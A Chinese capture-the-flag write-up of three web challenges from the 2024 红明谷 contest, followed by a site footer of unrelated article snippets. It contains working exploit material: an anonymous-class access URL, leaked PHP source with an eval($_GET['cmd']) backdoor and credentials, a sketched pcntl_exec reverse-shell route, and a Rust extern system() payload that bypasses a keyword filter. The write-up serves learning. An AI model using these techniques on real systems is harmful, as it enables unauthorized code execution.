【2024红明谷】三道Web题目的记录

红明谷

文章目录

  • 红明谷
    • Web1 | SOLVED Later
    • Web2 | UNSOLVED
    • Web3 | SOLVED

容器已经关咯,所以有些场景只能靠回忆+描述啦,学习为主,题目只是一个载体~

本次比赛学习为主,确实再一次感受到久违的web题目的魅力了,可能也是好久没做的原因哈哈

Web1 | SOLVED Later

开题后首先一个界面是一个php界面,其中提供了一个post参数f

但是这个参数是什么都执行不了的。

所以我们需要进行侧信道攻击

其中具体原理不清楚,但是最后的工具确实可以一把梭

image-20240403183514925

读取到这里就OK了 不需要全爆的

因为我们的目的在于获得这个正确的参数值ezphpPhp8

加上参数后可以正常访问到界面

本来一气呵成,直接触发一个getflag 多完美,但是就偏偏出了个unset把匿名类给销毁了,这。。。

既然是销毁的匿名类,我们就去找一下如何触发匿名类

image-20240403184023204

https://hi-arkin.com/archives/php-anonymous-stdClass.html

但是每次的列数具有一定的随机性,所以上bp多跑几次就OK了

image-20240403184143961

payload:

http://eci-2zehaurgvwox6uxhazeh.cloudeci1.ichunqiu.com/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$12

Web2 | UNSOLVED

扫一下目录发现

www.zip泄露

image-20240403141152570

拿到用户名和密码登录

后面就卡主了,赛后请教了一下其他师傅,记录一下思路吧,后面学习(环境无了 好难受

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo '小明是运维工程师,最近网站老是出现bug。';exit;
} else {$validUser = 'admin';$validPass = '2e525e29e465f45d8d7c56319fe73036';if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo 'Invalid credentials';exit;}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

这里关注cmd这个点,学习无参数rce是什么

无参rce

image-20240403191739444

然后去读取一些内容

尤其是在读/usr/local/etc/php/php.ini 这个 可以发现pcntl_exec 这个函数没有被禁用

https://www.php.net/manual/en/function.pcntl-exec.php

学习一下这个函数怎么用,然后利用该函数反弹shell

Web3 | SOLVED

关键题目代码:

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{if code.contains("std") {return "Error: std is not allowed".to_string();}//generate a random 5 length file namelet file_name = rand::thread_rng().sample_iter(&rand::distributions::Alphanumeric).take(5).map(char::from).collect::<String>();if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {file.write_all(code.as_bytes());}if let Ok(build_output) = Command::new("rustc").arg(format!("playground/{}.rs",&file_name)).arg("-C").arg("debuginfo=0").arg("-C").arg("opt-level=3").arg("-o").arg(format!("playground/{}",&file_name)).output() {if !build_output.status.success(){fs::remove_file(format!("playground/{}.rs",&file_name));return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();}}fs::remove_file(format!("playground/{}.rs",&file_name));if let Ok(output) = Command::new(format!("playground/{}",&file_name)).output() {if !output.status.success(){fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stderr.as_slice()).to_string();} else{fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stdout.as_slice()).to_string();}}return String::default();}

解题:

首先看到rust,不熟的语言加上解出的人很多,就应该在语言上没有设置太大障碍吧,拷打gpt!

路由非常明确:post(“/rust_code”

post传参 ,传到/rust_code 路由下

这段 Rust 代码是一个 Rocket Web 框架中的一个处理 POST 请求的路由处理函数。以下是对代码中每一行的解释:#[post("/rust_code", data = "<code>")]: 这是一个 Rocket 框架的路由宏,用于定义一个处理 POST 请求的路由,该路由的路径为 /rust_code,并且期望接收名为 code 的数据作为请求体。fn run_rust_code(code: String) -> String {: 这是一个函数定义,用于处理接收到的 POST 请求,函数名为 run_rust_code,接收一个 String 类型的参数 code,并返回一个 String 类型的结果。!!!!!注意这里 在上waf  禁用了std
if code.contains("std") { return "Error: std is not allowed".to_string(); }: 这行代码检查接收到的 code 是否包含字符串 "std"。如果包含,则返回一个表示错误信息的字符串 "Error: std is not allowed"。let file_name = rand::thread_rng() ... .collect::<String>();: 这行代码生成一个随机的文件名,使用 Rust 的 rand 库来生成随机字符,并拼接成一个长度为 5 的字符串作为文件名。if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); }: 这段代码创建一个新文件,并将接收到的 code 写入该文件中。如果文件创建成功,则将 code 写入文件中。if let Ok(build_output) = Command::new("rustc") ... { ... }: 这段代码调用系统命令 rustc 来编译刚刚写入的 Rust 代码文件。编译完成后,会产生一个可执行文件。fs::remove_file(format!("playground/{}.rs",&file_name));: 这行代码删除之前创建的 Rust 代码文件,以保持环境的清洁。if let Ok(output) = Command::new(format!("playground/{}",&file_name)) ... { ... }: 这段代码运行刚刚编译生成的可执行文件,并将其输出捕获到变量 output 中。return String::default();: 如果以上步骤都成功执行,则返回一个默认的空字符串作为结果。

简单来说,用户上传代码,只要不包含std,会被这个程序执行,并输出结果

然后我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下

POST /rust_code HTTP/1.1
Host: eci-2zee51
...
Cache-Control: no-cache
Content-Length: 134//声明外部函数 C语言库函数
extern "C" {fn system(cmd: *const u8) -> i32;
}fn main() {// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作unsafe {system("cat /flag".as_ptr());}
}
flag{91857cfb-7512-4760-afd8-f370e33f1112}

END:

本场Web的难度真的非常喜欢哈哈哈,中等,非常适合我,就是一眼不会,稍微看看或许能理解,仔细想想就能解出的状态,非常好,继续加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/790943.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据转换 | Matlab基于GASF格拉姆角和场一维数据转二维图像方法

目录 效果分析基本介绍程序设计参考资料获取方式 效果分析 基本介绍 基于GASF&#xff08;Gramian Angular Summation Field&#xff09;的方法&#xff0c;将一维数据转换为二维图像的步骤描述 标准化数据&#xff1a; 首先&#xff0c;对一维时序数据进行标准化处理&#xf…

MyBatis的基本应用

源码地址 01.MyBatis环境搭建 添加MyBatis的坐标 <!--mybatis坐标--><dependency><groupId>org.mybatis</groupId><artifactId>mybatis</artifactId><version>3.5.9</version></dependency><!--mysql驱动坐…

『51单片机』蜂鸣器

&#x1f6a9; WRITE IN FRONT &#x1f6a9; &#x1f50e; 介绍&#xff1a;"謓泽"正在路上朝着"攻城狮"方向"前进四" &#x1f50e;&#x1f3c5; 荣誉&#xff1a;2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…

OpenHarmony实战:轻量级系统之配置其他子系统

除上述子系统之外&#xff0c;还有一些必要但是无需进行移植的子系统。如&#xff1a;分布式任务调度子系统、DFX子系统。 这些子系统添加方式比较简单&#xff0c;在“vendor/MyVendorCompany/MyProduct/config.json”文件中进行如下配置即可&#xff1a; {"subsystem&…

专有钉钉微应用埋点以及本地调试埋点总结

最近在对接浙政钉&#xff0c;稳定性监控、通用采集 SDK、基础埋点、基础埋点&#xff0c;每次发布上去&#xff0c;工作人员那边反馈抓取不到信息 稳定性监控代码、通用采集 SDK index.html <!-- 流量稳定监控 S 关于埋点上线打开--><script src"https://wpk-…

IDEA 中能提高开发效率的插件

目录 前言 插件 Rainbow Brackets AceJump POJO to JSON Json Helper MybatisX Maven Helper PlantUML Integration TONYYI Lingma 前言 IDEA 里又很多好用的插件可以帮助我们提升开发效率&#xff0c;这里罗列下自己开发过程中常用的插件&#xff0c;善于利用插件&…

【第十一届大唐杯全国大学生新一代信息通信技术大赛】赛题分析

赛道一 一等奖 7% 二等奖 15% 三等奖 25% 赛道二 参考文档&#xff1a; 《第十一届大唐杯全国大学生新一代信息通信技术大赛&#xff08;产教融合5G创新应用设计&#xff09;专项赛说明.pdf》 一等奖&#xff1a;7% 二等奖&#xff1a;10% 三等奖&#xff1a;20% 赛项一&am…

unity工程输出的log在哪里?

在编辑器里进行活动输出的log位置&#xff1a; C:\Users\username\AppData\Local\Unity\Editor\Editor.log ------------------------------------ 已经打包完成&#xff0c;形成的exe运行后的log位置&#xff1a; C:\Users\xxx用户\AppData\LocalLow\xx公司\xx项目

销售与营销的区别:从手中到心中

一、引言 在商界&#xff0c;销售和营销常常被视为同义词&#xff0c;但实际上它们各自扮演着不同的角色。简而言之&#xff0c;销售是将产品送到客户手里&#xff0c;而营销则是将产品送到客户心里。这种微妙的差异对于企业的成功至关重要。正如彼得德鲁克所说&#xff1a;“…

Redis安装-Docker

安装redis的docker容器 1、创建redis挂载目录 mkdir -p /liuchaoxu/redis/{data,conf}2、复制配置文件 在 /liuchaoxu/redis/conf 目录中创建文件 redis.conf&#xff0c;文件从 redis-6.2.7.tar.gz 中解压获取 修改默认配置(从上至下依次)&#xff1a; #bind 127.0.0.1 …

游戏引擎中的物理应用

一、 角色控制器 Character Controller和普通的动态对象&#xff08;Dynamic Actor &#xff09;是不同的&#xff0c;主要的三个特点是: 它拥有可控制的刚体间的交互假设它是有无穷的摩擦力&#xff08;可以站停在位置上&#xff09;&#xff0c;没有弹性加速和刹车几乎立即…

《QT实用小工具·十》本地存储空间大小控件

1、概述 源码放在文章末尾 本地存储空间大小控件&#xff0c;反应电脑存储情况&#xff1a; 可自动加载本地存储设备的总容量/已用容量。进度条显示已用容量。支持所有操作系统。增加U盘或者SD卡到达信号。 下面是demo演示&#xff1a; 项目部分代码如下&#xff1a; #if…

vue项目引入微信sdk: npm install weixin-js-sdk --save报错

网上查到要用淘宝的镜像 同事告知旧 域名&#xff1a;https://registry.npm.taobao.org/已经不能再使用 使用 npm config set registry http://registry.npmmirror.com

css心跳动画

图标引入 <img class"icon" src"heart.svg" alt"" srcset""> CSS代码 <style>.icon {animation:bpm 1s linear,pulse 0.75s 1s linear infinite;}keyframes pulse {from,75%,to {transform: scale(1);}25% {transform:…

极简云验证 download.php 文件读取漏洞复现

0x01 产品简介 极简云验证是一款开源的网络验证系统&#xff0c;支持多应用卡密生成&#xff1a;卡密生成 单码卡密 次数卡密 会员卡密 积分卡密、卡密管理 卡密长度 卡密封禁 批量生成 批量导出 自定义卡密前缀等&#xff1b;支持多应用多用户管理&#xff1a;应用备注 应用版…

智能仪器驱动企业数字化转型 迈向智慧未来!

在当今数字化时代&#xff0c;企业正面临着前所未有的挑战和机遇。为了在竞争激烈的市场中立足并实现可持续发展&#xff0c;数字化转型已成为企业的当务之急。智能仪器作为数字化转型的核心驱动力&#xff0c;以其卓越的性能和创新的技术&#xff0c;为企业开启了通向智慧未来…

C_C++数据的在内存中的分布

C/C内存分布 在编程世界中&#xff0c;C和C语言一直以其强大的性能和灵活性著称。然而&#xff0c;这种强大和灵活的背后&#xff0c;离不开对内存分布的深入理解和熟练掌握。本文将详细介绍C/C程序中的内存分布&#xff0c;包括栈、堆和全局变量的存储区域。下面是c/c中&…

基于OrangePi Zero2的智能家居项目(开发阶段)

智能家居项目的软件实现 紧接上文 基于OrangePi Zero2的智能家居项目&#xff08;准备阶段&#xff09;-CSDN博客 目录 一、项目整体设计 1.1项目整体设计 1.2具体划分 二、开发工作的前期准备 1、进行分类&#xff0c;并用Makefile文件进行管理 参考&#xff1a;自己创…

基于单片机的智能报站系统仿真设计

**单片机设计介绍&#xff0c;基于单片机的智能报站系统仿真设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的智能报站系统仿真设计概要是关于采用单片机技术实现公交车报站功能的系统设计概述。以下是对该设计的…

Unity 学习日记 13.地形系统

下载源码 UnityPackage 1.地形对象Terrain 目录 1.地形对象Terrain 2.设置地形纹理 3.拔高地形地貌 4. 绘制树和草 5.为地形加入水 6.加入角色并跑步 7.加入水声 右键创建3D地形&#xff1a; 依次对应下面的按钮 || 2.设置地形纹理 下载资源包 下载资源包后&#x…